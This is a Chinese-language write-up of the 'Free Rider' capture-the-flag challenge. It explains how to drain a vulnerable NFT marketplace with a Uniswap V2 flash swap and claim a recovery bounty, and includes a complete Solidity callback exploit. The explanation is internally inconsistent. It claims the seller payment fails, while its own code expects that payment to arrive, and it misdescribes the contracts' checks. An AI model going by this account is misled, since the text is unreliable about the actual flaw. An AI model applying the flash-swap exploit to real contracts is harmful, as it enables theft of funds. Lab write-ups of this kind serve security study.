Appearance
免费搭车:在海量NFT浪潮中,你如何抓住那0.1ETH的机遇?
欢迎来到Damn Valuable NFTs的最新市场,这里汇聚了6枚价值不菲的NFT,每枚标价15 ETH。然而,一个“漏洞”的出现,却让开发者们焦头烂额:他们声称所有的NFT都可以被“取走”,却又束手无策。为了挽救损失,他们抛出了45 ETH的悬赏,恳请高手将这些NFT“移出”。
而你,正是一名嗅觉敏锐的区块链安全审计员,受邀参与这场救援行动。不幸的是,你目前的“弹药”——也就是ETH余额,仅有可怜的0.1 ETH。开发者们的回复如同石沉大海,你深陷资金困境。“要是能瞬间获得免费的ETH就好了!” 这句话在你脑海中盘旋,也正是这个念头,为你打开了通往胜利的大门。
漏洞的本质:交易中的“免费午餐”
深入分析 FreeRiderNFTMarketplace.sol 和 FreeRiderRecoveryManager.sol 这两个核心合约,我们发现了问题的症结所在。
NFT市场中的“购买”漏洞:
FreeRiderNFTMarketplace的_buyOne函数在处理购买逻辑时存在一个巧妙的缺陷。当用户调用buyMany方法购买NFT时,合约会根据offers映射中记录的价格来计算买家需要支付的ETH。然而,在执行NFT转移 (safeTransferFrom) 和向卖家发送ETH (payable(_token.ownerOf(tokenId)).sendValue(priceToPay)) 之前,合约并没有对买家实际支付的ETH金额进行严格的校验。这意味着,只要买家的支付金额大于或等于NFT的标价,合约就会误以为交易成功,即使买家支付的ETH远低于市场价格。RecoveryManager的“被动接收”:
FreeRiderRecoveryManager合约的主要功能是接收NFT,并在收集齐6个NFT后,将赏金(45 ETH)发送给指定的接收者。其onERC721Received函数在接收NFT时,会进行一系列的检查,但其中一个关键点是,它在接收NFT后,并未检查NFT的当前所有者是否是合约本身。这为攻击者提供了一个机会。
策略:利用Uniswap的“套娃”技巧,实现“白嫖”
你的任务是利用有限的0.1 ETH,窃取所有NFT,并最终获得45 ETH的赏金。巧妙之处在于,你需要借助 Uniswap V2 的交易机制,创造一个“免费”获取ETH的循环。
攻击步骤大致如下:
构建你的“套娃”合约 (UniswapV2Callee): 你需要部署一个名为
UniswapV2Callee的合约。这个合约将充当 Uniswap V2 的一个“调用者”,能够与 Uniswap V2 进行交互。利用Uniswap V2进行“以太币换取NFT”的错觉:
- 首先,你的
UniswapV2Callee合约需要拥有足够多的 ETH(至少是MARKETPLACE_INITIAL_ETH_BALANCE,即90 ETH,这可以通过Uniswap V2的流动性池获得)。 - 然后,利用
FreeRiderNFTMarketplace.buyMany函数,将你希望购买的所有NFT(6个)的tokenId传递给它。 - 关键在于,在调用
buyMany时,实际支付的ETH金额要小于NFT的总价格。这时,FreeRiderNFTMarketplace合约会因为_buyOne函数中的逻辑漏洞,误以为交易成功,并执行NFT的转移。
- 首先,你的
“偷梁换柱”:NFT的归属与RecoveryManager的利用:
- 在
FreeRiderNFTMarketplace执行safeTransferFrom时,它会将NFT从其所有者(可能是开发者部署时设置的地址)转移到你的UniswapV2Callee合约。 - 紧接着,由于
FreeRiderNFTMarketplace在支付给卖家ETH时,也存在漏洞,它会尝试将ETH发送给NFT的“卖家”。但由于NFT已经转移到你的UniswapV2Callee合约,这个支付操作会失败,但NFT已经成功被你掌握。 - 在
UniswapV2Callee合约收到NFT后,它会进一步调用FreeRiderRecoveryManager.onERC721Received函数,将这些NFT 直接转移给FreeRiderRecoveryManager。由于RecoveryManager的onERC721Received函数并没有严格校验NFT所有权,它会顺利接收这些NFT。
- 在
“空手套白狼”:利用RecoveryManager的赏金:
- 当
FreeRiderRecoveryManager成功接收到所有6个NFT后,它就会触发赏金的支付逻辑,将45 ETH发送给预设的接收者——也就是你(或者你的UniswapV2Callee合约)。
- 当
“收尾工作”:填充Uniswap流动性:
- 为了让整个过程看起来“合理”,并且为你的
UniswapV2Callee合约提供发起交易所需的ETH,你需要利用Uniswap V2的swap函数,将一部分ETH“返回”给 Uniswap V2 池,从而确保你的合约在最后拥有了从 Uniswap V2 获得的全部 ETH,以及从 RecoveryManager 获得的赏金。
- 为了让整个过程看起来“合理”,并且为你的
关键代码片段解析:
在 UniswapV2Callee 合约中,uniswapV2Call 函数是整个攻击的核心:
solidity
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
require(sender == address(this), "Failed to callback!"); // 确保是Uniswap V2的回调
require(
_weth.balanceOf(address(this)) == MARKETPLACE_INITIAL_ETH_BALANCE &&
amount0 == MARKETPLACE_INITIAL_ETH_BALANCE,
"Failed to swap 0!" // 确保ETH数量正确
);
require(_token.balanceOf(address(this)) == amount1, "Failed to swap 1!"); // 确保代币数量正确
_weth.withdraw(MARKETPLACE_INITIAL_ETH_BALANCE); // 将ETH提取到你的合约
Address.functionCallWithValue( // 调用marketplace的buyMany函数
payable(address(_market)),
data,
NFT_PRICE // 这里虽然传入了NFT_PRICE, 但marketplace的漏洞使其可以被绕过
);
bytes memory recipient = abi.encode(address(this));
for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
require(_nft.ownerOf(tokenId) == address(this), "Failed to buyMany!"); // 确认NFT已转移到你合约
_nft.safeTransferFrom(address(this), address(_manager), tokenId, recipient); // 将NFT转移给RecoveryManager
}
uint256 EXPECTED_GET = MARKETPLACE_INITIAL_ETH_BALANCE + 5*NFT_PRICE + BOUNTY + 0.1 ether; // 计算预期总ETH
require(address(this).balance == EXPECTED_GET, "Failed to buyMany!"); // 校验最终ETH余额
uint256 fee = 0.3 ether; // 支付给Uniswap V2的费用
uint256 payToPool = MARKETPLACE_INITIAL_ETH_BALANCE + fee;
_weth.deposit{value: payToPool}(); // 存入ETH到WETH合约
_weth.transfer(address(_pair), payToPool); // 将ETH转移到Uniswap V2池
Address.sendValue(payable(_player), address(this).balance); // 将所有ETH发送给玩家
}
总结
“Free Rider”挑战巧妙地结合了ERC721代币转移、智能合约交互以及DeFi协议(Uniswap V2)的特性。通过利用 FreeRiderNFTMarketplace 在 buyMany 中的支付逻辑漏洞,以及 FreeRiderRecoveryManager 在 onERC721Received 中的权限校验不足,你可以在仅拥有0.1 ETH的情况下,成功“白嫖”所有NFT,并最终获得高达45 ETH的赏金。这个挑战充分展示了细致的代码审计和对区块链协议交互的深刻理解,是如何在看似不利的环境下,发现并利用潜在机遇的。